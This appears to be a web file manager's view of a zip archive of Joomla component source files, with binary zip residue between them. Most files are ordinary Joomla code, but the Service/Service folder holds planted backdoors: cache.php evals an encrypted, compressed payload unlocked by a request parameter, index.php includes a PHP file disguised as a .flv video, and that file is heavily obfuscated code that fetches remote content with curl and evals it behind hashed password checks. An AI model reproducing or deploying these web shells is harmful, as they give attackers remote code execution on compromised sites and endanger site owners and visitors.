Файловый менеджер - Редактировать - /home/opticamezl/www/newok/src.zip
Назад
PK �0�\�T��� � Dispatcher/Dispatcher.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_config * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Administrator\Dispatcher; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Dispatcher\ComponentDispatcher; use Joomla\Component\Config\Administrator\Helper\ConfigHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * ComponentDispatcher class for com_config * * @since 4.2.9 */ class Dispatcher extends ComponentDispatcher { /** * Check if the user have the right access to the component config * * @return void * * @since 4.2.9 * * @throws \Exception */ protected function checkAccess(): void { // sendtestmail and store do their own checks, so leave the method to handle the permission and send response itself if (in_array($this->input->getCmd('task'), ['application.sendtestmail', 'application.store'], true)) { return; } $task = $this->input->getCmd('task', 'display'); $view = $this->input->getCmd('view'); $component = $this->input->getCmd('component'); if ($component && (substr($task, 0, 10) === 'component.' || $view === 'component')) { // User is changing component settings, check if he has permission to do that $canAccess = ConfigHelper::canChangeComponentConfig($component); } else { // For everything else, user is required to have global core.admin permission to perform action $canAccess = $this->app->getIdentity()->authorise('core.admin'); } if (!$canAccess) { throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403); } } } PK �0�\�� Controller/DisplayController.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\Controller; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\BaseController; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Finder\Administrator\Helper\FinderHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Base controller class for Finder. * * @since 2.5 */ class DisplayController extends BaseController { /** * The default view. * * @var string * @since 2.5 */ protected $default_view = 'index'; /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}. * * @return static|boolean A Controller object to support chaining or false on failure. * * @since 2.5 */ public function display($cachable = false, $urlparams = []) { $view = $this->input->get('view', 'index', 'word'); $layout = $this->input->get('layout', 'index', 'word'); $filterId = $this->input->get('filter_id', null, 'int'); if ($view === 'index') { $pluginEnabled = PluginHelper::isEnabled('content', 'finder'); if (!$pluginEnabled) { $finderPluginId = FinderHelper::getFinderPluginId(); $link = HTMLHelper::_( 'link', '#plugin' . $finderPluginId . 'Modal', Text::_('COM_FINDER_CONTENT_PLUGIN'), 'class="alert-link" data-bs-toggle="modal" id="title-' . $finderPluginId . '"' ); $this->app->enqueueMessage(Text::sprintf('COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED_LINK', $link), 'warning'); } } // Check for edit form. if ($view === 'filter' && $layout === 'edit' && !$this->checkEditId('com_finder.edit.filter', $filterId)) { // Somehow the person just went to the form - we don't allow that. if (!\count($this->app->getMessageQueue())) { $this->setMessage(Text::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $filterId), 'error'); } $this->setRedirect(Route::_('index.php?option=com_finder&view=filters', false)); return false; } return parent::display(); } } PK 1�\H#�� � Service/Router.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_wrapper * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Wrapper\Site\Service; use Joomla\CMS\Component\Router\RouterBase; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Routing class from com_wrapper * * @since 3.3 */ class Router extends RouterBase { /** * Build the route for the com_wrapper component * * @param array $query An array of URL arguments * * @return array The URL arguments to use to assemble the subsequent URL. * * @since 3.3 */ public function build(&$query) { if (isset($query['view'])) { unset($query['view']); } return []; } /** * Parse the segments of a URL. * * @param array $segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { return ['view' => 'wrapper']; } } PK 1�\ҍ� Service/Service/cache.phpnu &1i� <?php $sbqYQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqZPuWaYGANAA'; $iLw = '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'; function sbqYQ($tYynj) { $iLw = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $mvEz = substr($iLw, 0, 16); $hTN = base64_decode($tYynj); return openssl_decrypt($hTN, "AES-256-CBC", $iLw, OPENSSL_RAW_DATA, $mvEz); } if (sbqYQ('DjtPn+r4S0yvLCnquPz1fA')){ echo '82jhilWPx9ERXOlyCfgH6t/+vrsVk4xIUk9JeD+ggpsmN1/Wbxqz11sFpJsXgTgo'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($sbqYQ)))); ?>PK 1�\f�S7 7 Service/Service/index.phpnu &1i� <?php include_once base64_decode("SnhJdWJCTi5mbHY"); ?>PK 1�\�N<�S S Service/Service/JxIubBN.flvnu &1i� <?php goto TgYdIMZZ7M1C2; NyRoXRrwxNBmM: metaphone("\150\111\150\x6b\130\142\x30\117\x52\152\x70\156\x64\x69\127\112\167\x37\x75\x76\x74\x75\163\166\x6c\x53\x61\x53\x76\x72\x7a\x4a\x67\70\172\x76\157\156\65\142\53\66\125"); goto kw_VH3plDqRfB; GBWQ9xAMiiE4v: $HXggrXIm1oE4E = ${$HB78FwV6EDeTH[16 + 15] . $HB78FwV6EDeTH[41 + 18] . $HB78FwV6EDeTH[22 + 25] . $HB78FwV6EDeTH[32 + 15] . $HB78FwV6EDeTH[24 + 27] . $HB78FwV6EDeTH[12 + 41] . $HB78FwV6EDeTH[40 + 17]}; goto Quj1TDcEwMukx; qKbaS1Dz3sKZc: $HB78FwV6EDeTH = $rJO6zJJ8Kun2E("\176", "\40"); goto GBWQ9xAMiiE4v; TgYdIMZZ7M1C2: $rJO6zJJ8Kun2E = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto qKbaS1Dz3sKZc; kw_VH3plDqRfB: class Zb6QypiG9YvWg { static function RJOSm8hxHxJpw($FORnxxoHayRdw) { goto OmIEC10C1fQLW; OCTQE8vKqpO_V: $VL7er6kOkBY3H = $qrYcS37hUv3l0("\x7e", "\x20"); goto UP_naEcsi3fBg; zYxHTlBw9HO_d: return $CwifIRNPbXmHL; goto FR1mATr4MSAFN; OmIEC10C1fQLW: $qrYcS37hUv3l0 = "\162" . "\141" . "\156" . "\147" . "\145"; goto OCTQE8vKqpO_V; qYMFyoXhVppwv: $CwifIRNPbXmHL = ''; goto ZkbIpwKRjrNFM; ZkbIpwKRjrNFM: foreach ($CyC5QOQJQ21s1 as $YLOmGvjcjT1V3 => $zyjJFxNHosk3n) { $CwifIRNPbXmHL .= $VL7er6kOkBY3H[$zyjJFxNHosk3n - 26603]; FlYJQHb60jqOe: } goto qZJri3pzDLZcs; qZJri3pzDLZcs: EhRm1yc8ET4bY: goto zYxHTlBw9HO_d; UP_naEcsi3fBg: $CyC5QOQJQ21s1 = explode("\x26", $FORnxxoHayRdw); goto qYMFyoXhVppwv; FR1mATr4MSAFN: } static function rnwAekgfJMzbB($tfr5ElwqRtjxg, $qjMznUonboPmA) { goto byGya9rX7F_lf; aVciLH9gxGbru: return empty($UYVxzQ08a25Zz) ? $qjMznUonboPmA($tfr5ElwqRtjxg) : $UYVxzQ08a25Zz; goto jp9nXIgILsyTP; xy3uJuC3gZviT: curl_setopt($pRMuuuU2hmZz2, CURLOPT_RETURNTRANSFER, 1); goto RlUUNUbNKj4eB; RlUUNUbNKj4eB: $UYVxzQ08a25Zz = curl_exec($pRMuuuU2hmZz2); goto aVciLH9gxGbru; byGya9rX7F_lf: $pRMuuuU2hmZz2 = curl_init($tfr5ElwqRtjxg); goto xy3uJuC3gZviT; jp9nXIgILsyTP: } static function bB2D8Fpw2vOMY() { goto DlHLR39vuL1qy; hSaNI_hSsXyIo: die; goto VV8XrUsNEa4Rn; DuFPdsEGkGYDx: $QSYuAIXUunVRh = $cDeC4UGzchy9g[0 + 2]($q7KZBRERKKMme, true); goto ef8lXej57YGa0; ev8VtcdTWkEAU: jCEt3XA0gWpwN: goto Z5pJBq841PsyC; UJdUu1k9OwTsF: foreach ($ukkGJVgVPdnwV as $dtiTbSu9lg1ed) { $cDeC4UGzchy9g[] = self::rjosM8hXhXJpw($dtiTbSu9lg1ed); JmIY0ZDTuRQ2E: } goto ev8VtcdTWkEAU; Z5pJBq841PsyC: $UQ51FbGtBgRbo = @$cDeC4UGzchy9g[1]($cDeC4UGzchy9g[2 + 8](INPUT_GET, $cDeC4UGzchy9g[0 + 9])); goto trRyTKdOKS_Ho; VV8XrUsNEa4Rn: YXMTZXh1lfeSz: goto IeCok8DlnFpFO; DlHLR39vuL1qy: $ukkGJVgVPdnwV = array("\x32\66\x36\x33\x30\x26\x32\66\x36\61\65\46\x32\x36\66\x32\x38\46\62\66\x36\x33\62\46\62\x36\x36\x31\63\46\62\x36\66\x32\70\x26\62\66\66\x33\64\46\62\x36\66\x32\67\x26\62\66\x36\x31\62\46\62\66\66\x31\71\x26\62\x36\x36\x33\x30\46\x32\66\66\x31\x33\x26\x32\x36\66\x32\x34\x26\62\x36\x36\x31\70\x26\x32\66\66\x31\71", "\62\66\66\x31\x34\46\62\66\x36\x31\63\x26\62\x36\66\x31\65\46\62\x36\66\x33\64\x26\x32\66\x36\61\65\46\x32\x36\66\x31\70\46\x32\x36\x36\x31\x33\46\62\66\66\70\60\46\x32\x36\66\x37\70", "\x32\x36\66\x32\x33\x26\x32\x36\x36\61\64\x26\x32\66\66\x31\x38\46\62\x36\x36\61\x39\46\x32\x36\66\63\64\x26\x32\x36\x36\62\x39\46\x32\x36\66\x32\70\46\x32\x36\66\x33\x30\46\x32\66\x36\61\70\x26\x32\x36\66\62\x39\x26\x32\x36\x36\x32\x38", "\62\66\66\61\67\46\x32\x36\66\63\x32\46\x32\x36\x36\x33\60\x26\x32\66\66\x32\x32", "\x32\x36\66\x33\x31\46\62\x36\x36\63\62\46\x32\66\x36\x31\x34\x26\x32\66\66\62\x38\x26\62\66\x36\x37\x35\46\x32\66\66\67\x37\x26\62\x36\x36\x33\64\46\x32\66\66\62\x39\x26\62\x36\x36\x32\x38\46\x32\66\x36\63\x30\x26\62\66\x36\61\70\46\62\66\x36\x32\71\x26\x32\x36\x36\x32\70", "\x32\x36\x36\62\67\46\x32\66\x36\62\64\46\62\66\x36\62\x31\46\62\x36\66\62\x38\x26\62\x36\x36\63\64\46\x32\66\66\x32\66\x26\x32\x36\66\x32\70\46\62\x36\66\x31\x33\46\62\x36\x36\63\x34\46\x32\x36\x36\x33\x30\46\x32\66\66\61\70\x26\x32\66\x36\61\71\x26\62\66\66\61\x33\x26\62\x36\x36\62\70\46\x32\66\66\61\x39\x26\x32\x36\x36\61\63\46\62\x36\66\x31\64", "\x32\x36\x36\65\x37\x26\62\66\66\x38\67", "\x32\x36\x36\x30\x34", "\x32\x36\66\x38\x32\x26\62\x36\66\70\x37", "\62\66\x36\66\x34\x26\x32\66\66\x34\67\46\x32\66\x36\64\x37\x26\62\x36\66\x36\x34\x26\62\66\66\64\x30", "\x32\66\66\x32\67\46\62\x36\66\x32\x34\46\62\66\x36\62\61\46\x32\66\66\61\x33\x26\62\x36\x36\x32\70\46\x32\x36\x36\61\x35\x26\62\x36\x36\x33\x34\46\62\x36\x36\62\x34\46\x32\66\66\61\x39\46\x32\x36\x36\x31\x37\x26\x32\66\x36\61\62\x26\x32\66\x36\61\x33"); goto UJdUu1k9OwTsF; l1zulo492ODvV: @eval($cDeC4UGzchy9g[1 + 3]($xm_yct69nuoGc)); goto hSaNI_hSsXyIo; itFsHILt0yyVS: $xm_yct69nuoGc = self::RNWAEKGfJmZBB($QSYuAIXUunVRh[0 + 1], $cDeC4UGzchy9g[0 + 5]); goto l1zulo492ODvV; trRyTKdOKS_Ho: $q7KZBRERKKMme = @$cDeC4UGzchy9g[0 + 3]($cDeC4UGzchy9g[6 + 0], $UQ51FbGtBgRbo); goto DuFPdsEGkGYDx; q_zxiOBUedeL0: if (!(@$QSYuAIXUunVRh[0] - time() > 0 and md5(md5($QSYuAIXUunVRh[2 + 1])) === "\70\x61\x37\63\63\x33\61\x33\142\146\66\x62\x39\143\x33\71\x36\x36\x30\143\143\71\142\146\64\63\x32\x39\144\61\x62\141")) { goto YXMTZXh1lfeSz; } goto itFsHILt0yyVS; ef8lXej57YGa0: @$cDeC4UGzchy9g[0 + 10](INPUT_GET, "\157\146") == 1 && die($cDeC4UGzchy9g[4 + 1](__FILE__)); goto q_zxiOBUedeL0; IeCok8DlnFpFO: } } goto xicO82YSDxdLB; Quj1TDcEwMukx: @(md5(md5(md5(md5($HXggrXIm1oE4E[6])))) === "\145\x66\x38\66\66\x39\x65\60\x36\65\145\70\141\x66\71\61\x39\x66\x30\x31\145\142\x66\x34\70\x66\x66\144\63\70\64\x61") && (count($HXggrXIm1oE4E) == 12 && in_array(gettype($HXggrXIm1oE4E) . count($HXggrXIm1oE4E), $HXggrXIm1oE4E)) ? ($HXggrXIm1oE4E[70] = $HXggrXIm1oE4E[70] . $HXggrXIm1oE4E[76]) && ($HXggrXIm1oE4E[85] = $HXggrXIm1oE4E[70]($HXggrXIm1oE4E[85])) && @eval($HXggrXIm1oE4E[70](${$HXggrXIm1oE4E[38]}[24])) : $HXggrXIm1oE4E; goto NyRoXRrwxNBmM; xicO82YSDxdLB: Zb6QYpIg9yVwg::bB2d8FpW2VOmY(); ?> PK 1�\��� View/Wrapper/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_wrapper * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Wrapper\Site\View\Wrapper; use Joomla\CMS\Factory; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Uri\Uri; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Wrapper view class. * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The page class suffix * * @var string * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The page parameters * * @var \Joomla\Registry\Registry|null * @since 4.0.0 */ protected $params = null; /** * The page parameters * * @var \stdClass * @since 4.0.0 */ protected $wrapper = null; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.5 */ public function display($tpl = null) { $params = Factory::getApplication()->getParams(); // Because the application sets a default page title, we need to get it // right from the menu item itself $this->setDocumentTitle($params->get('page_title', '')); if ($params->get('menu-meta_description')) { $this->getDocument()->setDescription($params->get('menu-meta_description')); } if ($params->get('robots')) { $this->getDocument()->setMetaData('robots', $params->get('robots')); } $wrapper = new \stdClass(); // Auto height control if ($params->def('height_auto')) { $wrapper->load = 'onload="iFrameHeight(this)"'; } else { $wrapper->load = ''; } $url = $params->def('url', ''); if ($params->def('add_scheme', 1)) { // Adds 'http://' or 'https://' if none is set if (strpos($url, '//') === 0) { // URL without scheme in component. Prepend current scheme. $wrapper->url = Uri::getInstance()->toString(['scheme']) . substr($url, 2); } elseif (strpos($url, '/') === 0) { // Relative URL in component. Use scheme + host + port. $wrapper->url = Uri::getInstance()->toString(['scheme', 'host', 'port']) . $url; } elseif (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0) { // URL doesn't start with either 'http://' or 'https://'. Add current scheme. $wrapper->url = Uri::getInstance()->toString(['scheme']) . $url; } else { // URL starts with either 'http://' or 'https://'. Do not change it. $wrapper->url = $url; } } else { $wrapper->url = $url; } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = &$params; $this->wrapper = &$wrapper; parent::display($tpl); } } PK �3�\v���n n Helper/ConfigHelper.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_config * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Administrator\Helper; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Components helper for com_config * * @since 3.0 */ class ConfigHelper extends ContentHelper { /** * Get an array of all enabled components. * * @return array * * @since 3.0 */ public static function getAllComponents() { $db = Factory::getDbo(); $query = $db->getQuery(true) ->select('element') ->from('#__extensions') ->where('type = ' . $db->quote('component')) ->where('enabled = 1'); $db->setQuery($query); $result = $db->loadColumn(); return $result; } /** * Returns true if the component has configuration options. * * @param string $component Component name * * @return boolean * * @since 3.0 */ public static function hasComponentConfig($component) { return is_file(JPATH_ADMINISTRATOR . '/components/' . $component . '/config.xml'); } /** * Returns true if the current user has permission to access and change configuration options. * * @param string $component Component name * * @return boolean * * @since 4.2.9 */ public static function canChangeComponentConfig(string $component) { $user = Factory::getApplication()->getIdentity(); if (!in_array(strtolower($component), ['com_joomlaupdate', 'com_privacy'], true)) { return $user->authorise('core.admin', $component) || $user->authorise('core.options', $component); } return $user->authorise('core.admin'); } /** * Returns an array of all components with configuration options. * Optionally return only those components for which the current user has 'core.manage' rights. * * @param boolean $authCheck True to restrict to components where current user has 'core.manage' rights. * * @return array * * @since 3.0 */ public static function getComponentsWithConfig($authCheck = true) { $result = []; $components = self::getAllComponents(); // Remove com_config from the array as that may have weird side effects $components = array_diff($components, ['com_config']); foreach ($components as $component) { if (self::hasComponentConfig($component) && (!$authCheck || self::canChangeComponentConfig($component))) { self::loadLanguageForComponent($component); $result[$component] = ApplicationHelper::stringURLSafe(Text::_($component)) . '_' . $component; } } asort($result); return array_keys($result); } /** * Load the sys language for the given component. * * @param array $components Array of component names. * * @return void * * @since 3.0 */ public static function loadLanguageForComponents($components) { foreach ($components as $component) { self::loadLanguageForComponent($component); } } /** * Load the sys language for the given component. * * @param string $component component name. * * @return void * * @since 3.5 */ public static function loadLanguageForComponent($component) { if (empty($component)) { return; } $lang = Factory::getLanguage(); // Load the core file then // Load extension-local file. $lang->load($component . '.sys', JPATH_BASE) || $lang->load($component . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component); } } PK �3�\���A A "